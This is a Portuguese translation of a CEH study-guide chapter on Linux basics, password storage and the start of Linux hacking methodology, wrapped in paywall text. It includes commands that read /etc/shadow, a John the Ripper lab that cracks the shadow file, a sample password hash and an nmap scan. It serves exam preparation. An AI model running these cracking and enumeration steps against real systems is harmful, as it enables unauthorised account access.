Buscar

Curso Hacker Ético capítulo 5

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 35 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 6, do total de 35 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 9, do total de 35 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

1 
 
 
Tradução: Roque Cerávolo Capítulo 5 
 
Capítulo 5. Linux e ferramentas de avaliação automática de Segurança. 
 
Este capítulo ajuda a preparar para o Certificado Hacker Ético do Exame CE-Conselho 
(CEH)., abrangendo as seguintes objetivos do CE-Conselho que incluem a compreensão dos 
aspectos do negócio de testes de penetração. Isso inclui itens como: 
 
Identificar a estrutura de arquivos do Linux e diretórios comuns. 
 
 Tudo no Linux é um arquivo. Esses arquivos são organizados em um sistema de pastas e 
diretórios. Diretórios comuns em Linux incluem etc. A pasta contém configurações 
específicas de acolhimento e os arquivos passwd e shadow. 
 
Entenda comandos básicos do Linux. 
 
 Comandos básicos do Linux incluem ls, cat, more, cd, e vi. 
 
Identificar o usuário root e saber as IDs de usuário e de grupo. 
 
 Acesso para usuários e processos do sistema é atribuído um ID de usuário (UID) e 
um ID de grupo (GID). Root (Raiz) tem um UID de 0 e um GUID de 0. 
 
Descreva como programas Linux são compilados, carregados, e comprimidos. 
 
 Compilando no Linux geralmente requer três etapas. 
 
Identificar como o Linux é hackeado. 
 
2 
 
 Linux é hackeado, seguindo a mesma metodologia básica como Windows, que é: 
Reconhecimento, varredura e enumeração, o acesso, a escalada de privilégios, 
mantendo o acesso, e cobrindo faixas e colocação de backdoors. 
 
Descrever como o Linux é seguro. 
 
 Linux é seguro por praticar defesa em profundidade. Isto significa garantir 
fisicamente e logicamente, aplicação de patches, desligando serviços não utilizados, 
endurecimentos, e aplicações de outras medidas de defesas. 
 
Explicar rootkits e contramedidas. 
 
 Os rootkits são um conjunto de ferramentas que permitem que um hacker possua um 
sistema. Eles normalmente oferecem um acesso backdoor, coletam informações 
sobre outros sistemas na rede, permitim a operação de processos ocultos, e muito 
mais. 
 
Discutir os diferentes tipos de instrumentos de avaliação automatizados. 
 
 Estas ferramentas podem escanear um grande número de sistemas e permitem que 
hackers éticos se concentram em áreas-chave. Estas ferramentas variam de freeware 
a comercial. 
 
Estratégias de estudo. 
 
Este capítulo aborda as informações que você precisa saber sobre as ferramentas de avaliação 
Linux e automatização. Para ganhar uma compreensão mais profunda dos temas: 
 
 Carregar o Linux e se familiarizar com a estrutura do arquivo. 
 Praticar o uso de ferramentas como John the Ripper. 
 Compreender os caminhos que o Linux é hackeado. 
 Especificar as formas que o Linux pode ser seguro. 
 Descrever pormenorizadamente a estrutura do arquivo passwd. 
 Entender os diferentes tipos de instrumentos de avaliação e saber a diferença entre os scanners de 
código fonte da aplicação, scanners, monitores e scanners de nível de sistema. 
 Descrever como automatizar exploração usando toolssuch como Metasploit e Impacto Core. 
Introdução 
Este capítulo apresenta o Linux. Linux é usado para alimentar muitos dos servidores encontrados ao redor 
3 
 
do mundo. É um sistema operacional robusto e completo. Ele é o favorito de um hacker, porque é fácil para 
desenvolver programas, e é uma grande plataforma para construir e testar ferramentas de segurança. Nós 
olhamos para o Linux básico, como as senhas são armazenadas, e o formato que eles são armazenados 
Hacking dentro do Linux também é discutido, e você começará a ver que, embora as ferramentas de 
hacking podem mudar, todo o processo é o mesmo que a pirataria do Windows. 
 
A segunda metade do capítulo olha para ferramentas de avaliação automatizadas. Se você ainda tem de 
realizar quaisquer avaliações de segurança ou testes de penetração, você vai descobrir o quão importante 
essas ferramentas podem ser. Com limitados recursos humanos e de tempo, ferramentas de segurança 
automatizadas podem ser uma grande ajuda no preenchimento de lacunas. Ferramentas de avaliação 
automatizadas podem ser usadas para escanear códigos, aplicativos ou redes inteiras, dependendo do seu 
design. Algumas das mais populares ferramentas de avaliação automatizados incluem FLAWFINDER, o 
Nessus, Saint, e Metasploit. Cada uma delas é examinada neste capítulo. 
Linux 
Linux é um sistema operacional baseado em UNIX. O Linux foi originalmente criado por Linus Torvalds com 
a ajuda de programadores de todo o mundo. Se você é novo no Linux, isso deve servir como uma 
oportunidade para conhecer o sistema operacional (OS) um pouco melhor. Os benefícios de usar Linux é 
que ele é econômico, bem concebido, e oferece bom desempenho. Distribuições Linux são facilmente 
disponíveis e podem ser baixados para qualquer sistema. Linux vem em diversos sabores, incluindo Red 
Hat, Debian, Mandrake, SUSE, e assim por diante. Algumas versões especializadas de Linux têm sido 
desenvolvidos para um propósito específico. Algumas delas incluem Knoppix, Trinux, Auditor, e assim por 
diante. A melhor maneira de aprender Linux é apenas usando-o. É por isso que uma cópia do Linux está 
incluído no CD. Você pode usar os arquivos de instalação do Linux no CD para carregar o Linux em um disco 
rígido do sistema ou fazer um CD, para obter mais informações, confira o Apêndice B, "Preparando o 
sistema para o Knoppix-STD". Se você está à procura de outras versões do Linux que foram personalizados 
para o trabalho de segurança e testes de penetração, verifique a lista de conteúdo em 
www.frozentech.com/content/livecd.php.. 
 
Linux é de código aberto, o que significa que ele pode ser distribuído gratuitamente e você tem o direito de 
modificar o código-fonte. Linux também é fácil de desenvolver seus próprios programas. Esta é uma das 
razões que você vai ver muitas ferramentas de segurança liberadas no Linux bem antes mesmo de fazer 
uma estréia no mundo Windows. Esta seção do Capítulo dá uma olhada no Linux, analisa alguns dos 
princípios básicos, olha para algumas ferramentas do Linux, e discute como o Linux é usado por hackers, 
bem como a forma como ele é hackeado. 
Estrutura do arquivo Linux 
Objetivo: 
 
Identificar a estrutura de arquivos do Linux e diretórios comuns. 
 
O sistema de arquivos Linux é a estrutura em que todas as informações no computador são 
armazenados. Os arquivos são armazenados dentro de uma hierarquia de diretórios. Cada diretório pode 
4 
 
conter outros diretórios e arquivos. Diretórios comuns no sistema de arquivos Linux podem ser vistos na 
Figura 5.1. 
 
 
Barras são usadas para separar nomes de diretórios em Linux. Unidades físicas são tratadas de 
maneira diferente do que o DOS. O diretório / usr poderia estar em um disco rígido separado, ou / mnt 
pode conter uma pasta chamada / armazenamento que é na verdade uma unidade de outro computador. 
 
Alguns dos diretórios mais comuns encontrados em um sistema Linux são descritos aqui: 
 
/ Representa o diretório raiz. 
 
/ bin Contém comandos comuns de usuários Linux, como ls, data de classificação, e chmod. 
 
/ dev Contém arquivos que representam os pontos de acesso a dispositivos em seus sistemas. Estes podem 
incluir disquetes, discos rígidos e CD-ROMs. 
 
/ etc Contém arquivos de configuração administrativa, o arquivo passwd, e o arquivo de sombra (shadow). 
 
/ home Contém os diretórios home dos usuários. 
 
/ mnt Fornece um local para dispositivos de montagem, tais como CD-ROMs e disquetes. 
 
/ sbin Contém comandos administrativos e processos daemon. 
5 
 
 
/ usr Contém documentação do utilizador, os ficheiros gráficos, bibliotecas, assim como uma variedade de 
outros utilizadores e comandos administrativose arquivos. 
Alerta de exame 
 
Certifique-se de que você sabe e entender a estrutura básica de arquivos Linux. 
 
 
 
Diretórios e arquivos em um sistema Linux são configurados para que o acesso possa ser controlado. 
Quando você efetuar login no sistema, será identificado por uma conta de usuário. Além de sua conta de 
usuário, você pode pertencer a um grupo ou grupos. Portanto, os arquivos podem ter permissões de 
conjunto para um usuário, um grupo, ou outros. Por exemplo, o Linux Red Hat suporta três grupos padrões: 
super usuários, usuários do sistema, e usuários normais. De acesso para cada um destes grupos tem três 
opções: 
 Ler 
 Escrever 
 Executar 
Para ver as permissões atuais, o proprietário e de grupo para um arquivo ou diretório, digita o comando 
ls-l. Isto irá exibir o conteúdo do diretório que você está com os privilégios para o usuário, grupo e todos os 
outros. Por exemplo, a lista de um arquivo chamado demofile e o diretório demodir seria semelhante ao 
seguinte: 
drwxr-xr-x 2 mikeg users 32768 Nov 20 00:31 demodir 
-rw-r--r-- 1 mikeg users 4108 Nov 16 11:21 demofile 
 
As permissões são listados na primeira coluna. A primeira letra é se o item é um diretório ou um arquivo. Se 
a primeira letra é d, o item é um diretório, como no primeiro item listado anteriormente, demodir. Para o 
demofile arquivo, a primeira letra é -. Os próximos nove caracteres denotam acessar e tem a seguinte 
forma, rwx | rwx | rwx. Lista os três primeiros direitos de acesso do usuário, portanto, para demodir, o 
usuário ler, escrever e executar privilégios. Os próximos três bits denotam os direitos de grupo, portanto, o 
grupo ler e executar privilégios para a pasta demodir. Finalmente, os últimos três bits especificam o acesso 
de todos os outros têm para a pasta demodir. Neste caso, eles têm de ler e executar privilégios. A terceira 
coluna, mikeg, especifica o proprietário do arquivo / diretório, e a quarta coluna, os usuários, é o nome do 
grupo para o arquivo / diretório. O único que pode modificar ou excluir qualquer arquivo neste diretório é 
o mikeg proprietário. 
 
O comando chmod é usado por um proprietário do arquivo ou administrador para alterar a definição de 
permissões de acesso a um arquivo ou conjunto de arquivos. Chmod pode ser utilizada nos modos 
simbólicas e absoluto. Ofertas simbólicas com símbolos como rwx, enquanto ofertas absolutos com valores 
octais. Para cada um dos três conjuntos de permissão de um FILEREAD, escrever e executeRead é atribuído 
o número 4, de escrita é atribuído o número 2, e executar é atribuído o número 1. Para certificar-se de que 
6 
 
as permissões estão bem abertos para si mesmo, o grupo e todos os usuários, o comando seria chmod 777 
demofile. 
 
 
Alerta de exame 
Você precisa entender o equivalente binário de arquivo e as permissões de acesso à pasta. Como um 
exemplo, a representação binária de rwxr - r - seria 744. 
 
Linux Básico 
Objetivo 
Entender os comandos básicos do Linux 
 Identificar o usuário root e saber o sua ID de usuário e grupo 
 
O objetivo desta seção é revisar alguns conceitos básicos de Linux. Apesar de uma grande quantidade de 
trabalho pode ser feito a partir da GUI Linux, você ainda vai precisar de operar a partir da janela de terminal 
ou shell. A janela de terminal é semelhante ao prompt de comando do Windows. Se você entrar como root 
e abrir uma janela de terminal, você deve ver algo semelhante a isto: [root @ rh /] #. O sinal # é o mais 
importante aqui, pois denota que você está como root. Root é Deus no mundo do Linux. Isto significa que a 
raiz tem controle total do sistema e mantém o mais alto nível de privilégio. Você vai querer se certificar de 
que adequadamente executa comandos como root, enquanto trabalhava, porque ao contrário do 
Windows, o Linux não pode oferecer-lhe instruções ou avisos antes de executar um comando crítico. É 
importante que você saiba alguns comandos básicos do Linux e suas funções. Alguns dos comandos básicos 
são fornecidos na Tabela 5.1. 
Comando Descrição 
cat Lista de conteúdo de um arquivo 
Cd Mudança de Diretório 
chmod Mudança de arquivos e pastas direitos e propriedade 
cp O comando de cópia 
history Mostra o histórico de até 500 comandos 
ifconfig Semelhante ao ifconfig do ipconfig no Windows 
kill Matar um processo em execução, especificando o PID 
ls Lista o conteúdo de uma pasta 
man Abre as páginas do manual 
mv Para mover arquivos e diretórios 
passwd Para alterar sua senha 
ps Status do processo 
pwd Imprime o caminho do diretório de trabalho 
rm Remove um arquivo 
rm-r Remove um diretório e todo o seu conteúdo 
7 
 
Ctrl P Pausa um programa 
Ctrl B Coloca o programa atual para o fundo 
Ctrl Z Coloca o programa atual para dormir 
 
Assim como no mundo da Microsoft, usuários de Linux devem ser geridos de uma forma organizada. Acesso 
para usuários e processos do sistema é atribuído um ID de usuário (UID) e um ID de grupo (GID). Os grupos 
são agrupamentos lógicos de usuários que têm necessidades semelhantes. Esta informação está contida no 
arquivo / etc / passwd. Como um hacker ético, é importante que você compreenda a importância deste 
arquivo. Um exemplo é mostrado aqui: 
[root@mg /root]# cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin: 
daemon:x:2:2:daemon:/sbin: 
adm:x:3:4:adm:/var/adm: 
lp:x:4:7:lp:/var/spool/lpd: 
sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
halt:x:7:0:halt:/sbin:/sbin/halt 
mail:x:8:12:mail:/var/spool/mail: 
news:x:9:13:news:/var/spool/news: 
operator:x:11:0:operator:/root: 
gopher:x:13:30:gopher:/usr/lib/gopher-data: 
ftp:x:14:50:FTP User:/home/ftp: 
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false 
named:x:25:25:Named:/var/named:/bin/false 
john:x:500:500:John:/home/jn:/bin/bash 
clement:x:501:501:Clement:/cd/:/bin/csh 
betty:x:502:502:Betty:/home/bd:/bin/pop 
mike:x:503:503:Mike:/home/mg:/bin/bash 
 
 
Você vai notar que root é a primeira conta na lista. Root é sempre atribuído a 0 UID e 0 GID. 
Outros usuários especiais e contas associadas a serviços e daemons são listados após root e têm 
valores abaixo de 100. Red Hat começa com usuários regulares em um UID de 500. Vamos dar uma 
olhada em cada campo e discutir o seu significado. Olhe para a última listagem, que é o registro de 
Mike, e vamos analisar cada campo e seu significado. Os campos são denotados por dois pontos. 
 
1- O nome de usuário é o primeiro campo. Maiúscula inicial não é usado para evitar confusão 
com superior/minúsculas. 
 
2- segundo campo contém a senha criptografada. Você pode notar que o campo é marcado 
por um x, neste caso, é porque esse sistema Linux em particular é o uso de senhas sombra, 
que são realizadas no arquivo / etc / shadow. O arquivo shadow é usado para aumentar a 
segurança e está localizado em / etc / shadow. Senhas shadow são discutidos de forma mais 
completa, mais adiante neste capítulo. 
 
3- O terceiro campo é o UID. UID Mike é 503. Qualquer arquivo Mike possui ou cria terá 
este número associado a ele. 
 
4- O quarto campo é o GID. GID Mike é 503. Você vai notar que a GID e UID são os 
mesmos, assim como a outros usuários listados no arquivo de senha mostrada anteriormente. 
8 
 
Este é o projeto sob o Red Hat, uma abordagem chamada de grupos de usuários privados. 
 
5- O quinto campo é a descrição do usuário. Esta área possui informações descritivas sobre 
o usuário. Por vezes, pode conter números de telefone, paradas de correio, ou alguma outra 
informação de contato. Esta não é uma boa idéia de como ele pode ser relatado pelo 
utilitário finger. 
6-O sexto campo é o diretório home do usuário. Quando o usuário é autenticado, o programa de 
login utiliza este campo para definir variável $ HOME do usuário. Por padrão, em todas as 
distribuições Linux, o diretório home do usuário será assumido ser / home / username. 
 
7- O sétimo campo e último é o Shell de login do usuário. Quando o usuário é autenticado, o 
programa de login também define o SHELL usuários com variável $ a este campo. Por padrão, 
em todas as distribuições Linux, o shell de um novo usuário de login será definido por / bin / 
bash, o Bourne Again Shell. 
Adicionar usuários ao Linux é um processo bastante simples. Apenas o comando useradd. De 
todos os usuários, o que exige uma maior proteção é a conta root, porque ela deve ser segura. 
Embora os arquivos como passwd sejam lidos por todos, o arquivo shadow é legível apenas pelo 
usuário root. Se um atacante pode obter acesso à conta root, ele tem, essencialmente, tomado o 
controle do computador a partir de você. Por esta razão, a conta root deve ser protegida no nível 
mais alto. Isso significa que uma grande quantidade de tempo que os usuários exercem as suas 
funções em um computador Linux com uma conta diferente de root. No entanto, algumas 
funções exigem que você as execute como root. Para essas ocasiões, você vai querer usar o 
Substituto do usuário de comando (SU). O comando SU lhe permitirá desempenhar funções 
como um usuário diferente daquele que você está logado. O comando é simplesmente 
<username> su. 
Senhas e o arquivo shadow 
 
Linux requer que as contas de usuários tenham uma senha, mas por padrão, não vai impedi-lo de 
começar um um jogo em branco. Durante a instalação, o Linux dá ao usuário a opção de 
configurar o padrão de criptografia de senha. A maioria das versões do Linux, como a Red Hat, 
usa MD5 por padrão. Se você optar por não usar MD5, você pode escolher DES, embora limita 
as senhas a oito caracteres alfanuméricos. Linux também inclui o arquivo / etc / shadow para 
segurança de senha adicional. Dê uma olhada em uma entrada de um arquivo / etc / shadow 
aqui: 
 root:$1$Gjt/eO.e$pKFFRe9QRb4NLvSrJodFy.:0:0:root:/root:/bin/bash 
 
Movendo as senhas para shadow torna menos provável que a senha criptografada possa ser 
decifrada, pois somente o usuário root tem acesso ao arquivo shadow. O formato do arquivo de 
senha é formatado como segue: 
 Account_name:Password:Last:Min:Max:Warn:Expire:Disable:Reserved 
 
9 
 
Se você estiver conectado em um root e gostaria de ver as senhas em shadow em seu computador, use 
o seguinte comando: 
more /etc/shadow 
 
Outro fato interessante sobre sistemas Linux é que as senhas usam sais. Sais são necessários para adicionar 
uma camada de aleatoriedade para as senhas. Porque MD5 é um algoritmo de hash, isso significa que se eu 
usasse "segredo" para a minha senha e outro usuário usado "segredo" para a sua senha, valores 
criptografados seria o mesmo. Um sal pode ser um dos valores de 4096 e ainda ajuda a embaralhar a 
senha. No Linux, a senha MD5 é de 32 caracteres e começa com $ 1 $. Os caracteres entre o segundo e 
terceiro $ representar o sal. No exemplo anterior, o valor que é GJT / eO.e. Senhas criadas desta maneira 
são consideradas de ser one way. Isto é, não há uma maneira fácil de reverter o processo. Figura 5.2 
demonstra como o Linux cria este valor. 
 
 
 
Dica 
Como o arquivo passwd é legível ao mundo, as senhas devem ser armazenados no arquivo shadow. 
 
O arquivo shadow não é a única maneira de ajudar a proteger contra invasores que tentam evitar o 
processo de autenticação. Há outras formas mais avançadas para proteger os recursos. As senhas são 
um das mais fracas formas de autenticação. Há também algo que você tem (tokens) e algo que você é 
(biometria). Se um novo esquema de autenticação que vai ser utilizada, é necessário que haja uma 
forma de alertar as aplicações para esse fato sem ter que reescrever cada parte do código já 
desenvolvido. A resposta a este desafio é Pluggable Authentication Modules (PAM). PAM permite que 
um programa projetado para renunciar a preocupação dos tipos de autenticação que serão executadas 
e se concentrar no próprio aplicativo. PAM é usado pelo FreeBSD, Linux, Solaris e outros. Seu papel é 
controlar a interação entre o usuário e autenticação. Isso pode ser telnet, ftp, login no console, ou 
alterar uma senha. PAM apoia os regimes mais fortes de autenticação, como o Kerberos, S / Key, e 
RADIUS. O diretório que contém os módulos específicos para o PAM está em / etc / pam.d /. 
Alerta de Exame 
Entender o que são sais e porque eles são usados. 
Toda essa conversa de senhas traz a questão da segurança da senha. Assim como no mundo da 
Microsoft, o Linux também tem uma série de ferramentas de quebra de senha disponível. John the 
Ripper é uma dessas ferramentas (http://www.openwall.com/John/). É, provavelmente, a mais 
conhecida, mais versátil, mais rápida programa de quebra de senhas atual. O melhor de tudo, é 
gratuito e suporta seis esquemas diferentes de hash de senha que cobrem vários sabores de UNIX e 
Windows LANMan hashes. Pode usar listas de palavras especializadas ou regras de senha com base no 
10 
 
tipo de personagem e colocação. Roda em mais de 12 diferentes sistemas operacionais. Vem pré-
instalado em muitas distribuições Linux. Está incluído na versão do Linux Knoppix encontrado no CD 
neste livro. Antes de sair e começar a quebrar senhas, gaste alguns minutos para verificar as várias 
opções emitindo -./john-h na linha de comando. Você pode verificar que John funciona executando em 
modo de teste. Irá gerar uma velocidade de linha de base para o seu sistema de craqueamento. 
[root@mg /root]#./john -test 
Benchmarking: Traditional DES [32/32 BS]... DONE 
Many salts: 160487 c/s real, 161600 c/s virtual 
Only one salt: 144262 c/s real, 146978 c/s virtual 
 
Benchmarking: BSDI DES (x725) [32/32 BS]... DONE 
Many salts: 5412 c/s real, 5280 c/s virtual 
Only one salt: 5889 c/s real, 5262 c/s virtual 
 
Benchmarking: FreeBSD MD5 [32/32 X2]... DONE 
Raw: 3666 c/s real, 3246 c/s virtual 
 
Benchmarking: OpenBSD Blowfish (x32) [32/32]... DONE 
Raw: 241 c/s real, 227 c/s virtual 
 
Benchmarking: Kerberos AFS DES [24/32 4K]... DONE 
Short: 70438 c/s real, 72263 c/s virtual 
Long: 192506 c/s real, 200389 c/s virtual 
Benchmarking: NT LM DES [32/32 BS]... DONE 
Raw: 1808844 c/s real, 1877553 c/s virtual 
 
 
Reveja os resultados do MD5 FreeBSD e benchmarks NT LM DES. As rachaduras por diferença (c 
/ s) segundos entre os dois é um fator de mais de 500, o que significa que um ataque de força bruta 
completo levará mais de 500 vezes o tempo contra os hashes de senha no sistema FreeBSD do que 
contra um sistema Windows. Um desses sistemas que você prefere mantem os dados críticos? 
Depois de toda essa conversa sobre quebra desenhas, você pode querer dar uma chance a si mesmo. 
Se assim for, faça o exercício do desafio abaixo. 
 
Alerta de exame 
 
Candidatos ao teste devem saber como os programas de quebra de senha, como John the Ripper, 
trabalham. 
 
Desafio 
 
 
Proteção de senhas é tão importante em qualquer plataforma como construir senhas robustas. Este 
desafio terá que criar senhas de complexidade diferentes e tentar quebrá-las. O objetivo é ver a 
rapidez com senhas fracas podem ser quebradas. Você vai precisar de uma cópia do Linux e John 
the Ripper para realizar este exercício. É sugerido que você use a cópia do Linux incluído no CD 
com este livro. Ela pode ser carregada em um segundo CD que será auto-arranque. Como 
alternativa, você também pode fazer download de DST Knoppix em: www.knoppix-std.org e instaleem 
um cd. 
 
1) Iniciar o CD Knoppix STD. 
 
2) Abrir uma janela de terminal e vá para o diretório john. Digite cd / etc / john. 
 
11 
 
 
3) Antes de tentar quebrar as senhas existentes, entre mais alguns usuários para ver o quão 
rápido as senhas podem ser quebradas. Use o comando adduser para adicionar três usuários. 
Nomeie os três usuários user1, user2 e user3. Defina a senha para cada usuário com 
password, ssw0rd P @ e! P @ ssw0rd1. Por exemplo, para adicionar o usuário user1 com o 
diretório home / home/users/user1, digite o seguinte comando: 
 
adduser usuário1-d / home/users/user1. 
 
Em seguida definir a senha. Para fazer isso, digite o seguinte comando: 
 
passwd username (onde username é o nome do novo usuário) 
 
4) Após os três usuários foram adicionados, você vai querer executar John. Isso pode ser feito 
digitando . / John / etc / shadow a partir da linha de comando. 
 
5) Dê um tempo para ver quanto tempo leva para cada senha para ser quebrada. Registrar esses 
momentos aqui: User1: _____ Usuário2: _____ Usuário3: _____ 
 
Você notou uma correlação entre o tempo que levou para quebrar uma senha versus a complexidade da 
senha? Você deve ter visto que as senhas mais complexas demoram mais para se recuperar. 
 
John the Ripper é uma ferramenta maravilhosa para hackers éticos para testar a força da senha, no 
entanto, ela não foi projetado para a atividade ilegal. Antes de usar esta ferramenta em uma rede de 
produção, certifique-se que você tenha autorização por escrito da gerência maior. John the Ripper realiza 
diferentes tipos de quebras: modo único; dicionário, ou o modo de lista de palavras, a realizada neste 
exercício, que aplica uma lista de dicionário de senhas para comparação, e força bruta ou o modo 
incremental, que é o mais lento dos três modos e tenta todas as combinações de letras e números. John 
the Ripper é portátil para vários sabores de UNIX, Linux e Windows, embora ele não tenha uma interface 
gráfica. 
 
Comprimindo, Instalando e Compilando o Linux 
 
Objetivo: 
 
Descrever como programas Linux são compilados, carregadas, e comprimidas. 
 
 
Em Linux, arquivos são empacotados e compactados de várias maneiras. Um dos formatos de 
compressão mais comuns é o programa de arquivamento em fita (Tar). Tar é um arquivo padrão e 
foi originalmente desenvolvido como software de backup para UNIX. Ela recolhe vários arquivos 
em um único arquivo. Ele não faz a compactação de arquivos e, portanto, um segundo programa é 
necessário. Um programa chamado gzip é um dos programas de compressão mais comuns de 
arquivo. Compilando um pacote de uma fonte de código tarball nem sempre é um procedimento 
simples. Após descompactar o pacote, você deve procurar por um arquivo chamado README, 
README.INSTALL, README.CONFIGURE, ou algo similar. Este arquivo geralmente descreve 
o processo de configuração e instalação. Freqüentemente, o pacote fonte inclui um script chamado 
configure, que você executa para ter o pacote de auto detecção de bibliotecas instaladas do seu 
computador e configurar-se de forma adequada. Se assim for, o processo inclui três comandos: 
12 
 
 ./configure 
 make 
 make install 
Dica: 
Certifique-se de que você sabe como saber se a senha foi colocada no shadow (shadowded). 
Dica 
Conheça os três comandos usados para compilar um programa em Linux. 
Você pode querer desenvolver programas de si mesmo, e se assim for, o Linux oferece-lhe essa 
capacidade. Linux vem com o compilador GNU C (GCC). Esta capacidade também vem a calhar 
quando você baixar um programa em C a partir de um site de segurança ou gostaria de verificar um 
pedaço de código de exploração. Com o Linux, muitos programas não podem ser cumpridos para 
você. O processo de compilação não é muito difícil, e um programa básico e os passos necessários 
para compilá-lo são mostrados aqui: 
[root@mg /root]#.vi hello.c 
#include <stdio.h> 
int main(int argc, char ** argv) 
{ 
printf("Hello world!\n"); 
return 0; 
} 
 
[root@mg /root]#. gcc -o hello hello.c 
[root@mg /root]#. ./hello Hello world! 
 
Em primeiro lugar, o código de programa foi escrito, neste caso, o editor vi foi usado. Em seguida, 
ele foi compilado com o comando gcc-o. Finalmente, ele foi executado por executá-lo a partir da 
janela de terminal. / Olá. Note o. / Na frente do comando. Isso garante que o Linux procure no 
diretório local para o executável especificado. 
Hackeamento do Linux 
Objetivo 
 Mostrar com o Linux é hackeado 
Hacking de Linux segue a mesma metodologia de base discutida ao longo do livro. As etapas são 
amplamente divididas em seis fases: 
 
1) Reconhecimento. 
2) Escaneamento e enumeração. 
 
3) Ganhar acesso. 
 
4) Aumento de privilégio. 
 
13 
 
5) Manutenção do acesso. 
 
6) Cobrir faixas e colocação de backdoors. 
Cada uma dessas fases é discutida em mais detalhe para que você entenda melhor como essas 
etapas se aplicam a sistemas Linux e UNIX. 
 
Reconhecimento 
 
Reconhecimento é a coleta de informações sobre passivo e ativo. Isso pode ser por escaneamento do 
site organizacional, revendo postagens de emprego, procura nas lixeiras, engenharia social, ou usar 
qualquer das outras formas discutidas no Capítulo 2, "os fundamentos técnicos do Hacking". 
Dica. 
As mesmas técnicas básicas utilizadas para atacar sistemas Linux também podem ser usadas para 
atacar computadores com Windows. Estas incluem informações técnicas passivas e ativas de coleta 
de lixo, como mergulho, exploração portuária, rever o site, ler anúncios de emprego, e assim por 
diante. 
Escanear 
Escanear encontra os anfitriões e determina que portas e aplicações que possam estar em execução. 
Aqui, você pode ver os resultados que vão começar a diferenciar os sistemas Windows e Linux. 
Uma grande pista é portas abertas, como 21, 37, 79, 111 e 6000. Aquelas representam programas, 
como o Secure Shell (SSH), tempo, finger, sunrpc e X11. Porto scanners e fingerprinting de 
software OS serão as ferramentas do comércio. Como um exemplo, considerar uma varredura 
executado em um sistema Linux: 
[root@mg /root]# nmap -O 192.168.13.10 
 
Starting nmap V. 3.93 (www.insecure.org/nmap/) 
Interesting ports on unix1 (192.168.13.10): 
(The 1529 ports scanned but not shown below are in state: closed) 
Port State Service 
21/tcp open ftp 
23/tcp open telnet 
25/tcp open smtp 
37/tcp open time 
79/tcp open finger 
111/tcp open sunrpc 
139/tcp filtered netbios-ssn 
513/tcp open login 
1103/tcp open xaudio 
2049/tcp open nfs 
4045/tcp open lockd 
6000/tcp open X11 
7100/tcp open font-service 
32771/tcp open sometimes-rpc5 
32772/tcp open sometimes-rpc7 
32773/tcp open sometimes-rpc9 
32774/tcp open sometimes-rpc11 
32775/tcp open sometimes-rpc13 
32776/tcp open sometimes-rpc15 
14 
 
32777/tcp open sometimes-rpc17 
Remote operating system guess: Solaris 2.6 - 2.7 
Uptime 319.638 days (since Wed May 14 19:38:19 2005) 
 
Nmap run completed -- 1 IP address (1 host up) scanned in 7 seconds 
 
Observe que as portas mostrados a partir deste exame são muito diferentes do que foi visto a partir 
do Windows no início do livro. Portas como 37, 79, 111, e 32.771 são mostradas como abertas. 
Você também vai querer perceber que o Nmap identificou o sistema operacional como Solaris. 
Enumeração 
 
O escaneamento é apenas o começo. Depois de qualquer tipo de sistema Linux ou UNIX é 
encontrado, ele ainda vai exigir aindamais de sondagem para determinar o que está funcionando. 
Embora explorando a sessão nula do Windows pode estar fora de questão, você ainda pode usar 
ferramentas, como bandeira agarradas. Mais importante, se você acha que o alvo é algum sabor de 
UNIX, você tem acesso a alguns programas que não são encontrados no mundo do Windows. Por 
exemplo, Finger, rwho, rusers, e Simple Mail Transfer Protocol (SMTP) podem ser usados para 
alavancar ainda mais o seu conhecimento. 
 
Finger é um programa que diz a você o nome associado a um endereço de e-mail. Pode também 
dizer-lhe se os usuários estão conectados no momento no seu sistema ou o seu início de sessão mais 
recente e possivelmente outras informações, dependendo dos dados que são mantidos sobre os 
usuários no computador. Figer originou-se como parte do BSD UNIX. 
 
Rwho e rusers são chamada de serviços de procedimento remoto (RPC) que podem dar informações 
sobre os vários usuários do sistema. Executando p rpcinfo contra o sistema vai permitir que um 
invasor descobra o estado de rwho e rusers. Rusers depende do daemon rwho. Ele lista os usuários 
conectados a todas as máquinas locais, em que formato (nome do host, nome de usuário). 
 
